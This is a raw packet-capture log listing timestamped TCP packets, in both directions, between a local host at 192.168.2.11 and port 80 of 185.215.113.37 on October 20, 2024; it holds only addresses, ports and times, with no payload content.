Oct 20, 2024 23:43:13.446625948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446630001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446634054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446639061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446644068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446647882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446652889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.446681023 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.446789980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.447535038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447546005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447555065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447566032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447577000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447587967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447597980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447607994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447621107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447630882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447640896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.447659016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.447659016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.447659016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.448286057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.448456049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448467970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448484898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448494911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448503971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448514938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448523998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448533058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448544025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448555946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448568106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448577881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.448585033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.448585033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.448585033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.448662996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.448662996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.449398994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449409008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449419975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449429989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449439049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449450016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449460983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449467897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.449471951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.449503899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.449623108 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.450017929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450030088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450038910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450050116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450061083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450071096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.450073957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450079918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450084925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450088978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450093985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450098991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450119019 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.450432062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.450937986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450949907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450958967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450968981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450973034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.450982094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451005936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451016903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451029062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451030016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451030016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451035023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451047897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451054096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451059103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451071978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451083899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451178074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451178074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451868057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451879025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451888084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451899052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451911926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451924086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451931000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451936007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451948881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451961040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451961994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451973915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451977968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.451984882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.451999903 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.452047110 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.452651024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452661991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452671051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452681065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452691078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452701092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452711105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452721119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452729940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452732086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.452732086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.452740908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452752113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452763081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.452773094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.452795029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.452878952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.453538895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453552008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453562021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453572989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453649044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.453649044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.453823090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453834057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453843117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453850031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453921080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.453921080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.453928947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453941107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453950882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453962088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453970909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453980923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453984976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453990936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.453996897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.454030037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.454807997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457040071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457139015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457153082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457205057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457205057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457283974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457294941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457325935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457335949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457345963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457356930 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457386971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457604885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457614899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457627058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457637072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457730055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457730055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457921982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457933903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457942963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457954884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457964897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457978010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.457984924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.457992077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458003044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458014011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458038092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.458038092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.458112001 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.458502054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458513021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458522081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458532095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458544016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458604097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.458604097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.458776951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.458786964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.459070921 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465135098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465239048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465249062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465318918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465318918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465353966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465364933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465374947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465385914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465399027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465415955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465723991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465735912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465744019 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465749025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465759993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465771914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465775013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465784073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465794086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465805054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465807915 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465816975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465827942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.465895891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.465895891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466423988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466434002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466444016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466455936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466466904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466475964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466485023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466495991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466504097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466504097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466509104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466519117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466530085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466531038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466546059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466552973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466557026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466568947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.466600895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466784954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.466784954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.467365980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467381954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467397928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467408895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467412949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.467420101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467431068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467443943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467453957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467464924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467473984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467485905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467497110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467500925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467502117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.467502117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.467502117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.467510939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467524052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.467544079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468087912 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468266010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468277931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468287945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468298912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468307972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468317986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468327999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468338966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468347073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468357086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468357086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468357086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468370914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468383074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468383074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468394995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468405962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468417883 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.468441010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468441010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.468441010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469290018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469301939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469312906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469324112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469335079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469346046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469357967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469366074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469366074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469366074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469371080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469383955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469393969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469403982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469410896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469415903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469427109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469436884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469446898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469446898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469446898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469448090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.469979048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.469979048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470182896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470195055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470205069 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470216990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470228910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470240116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470251083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470262051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470263004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470263004 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470273972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470284939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470294952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470295906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470308065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470319986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470330000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470340967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.470366955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470366955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470366955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.470535994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.471107960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471121073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471129894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471141100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471153975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471168995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471174955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.471182108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471194029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471204996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471218109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471230984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471246004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471257925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.471263885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.471263885 CEST	49708	80	192.168.2.11	185.215.113.37
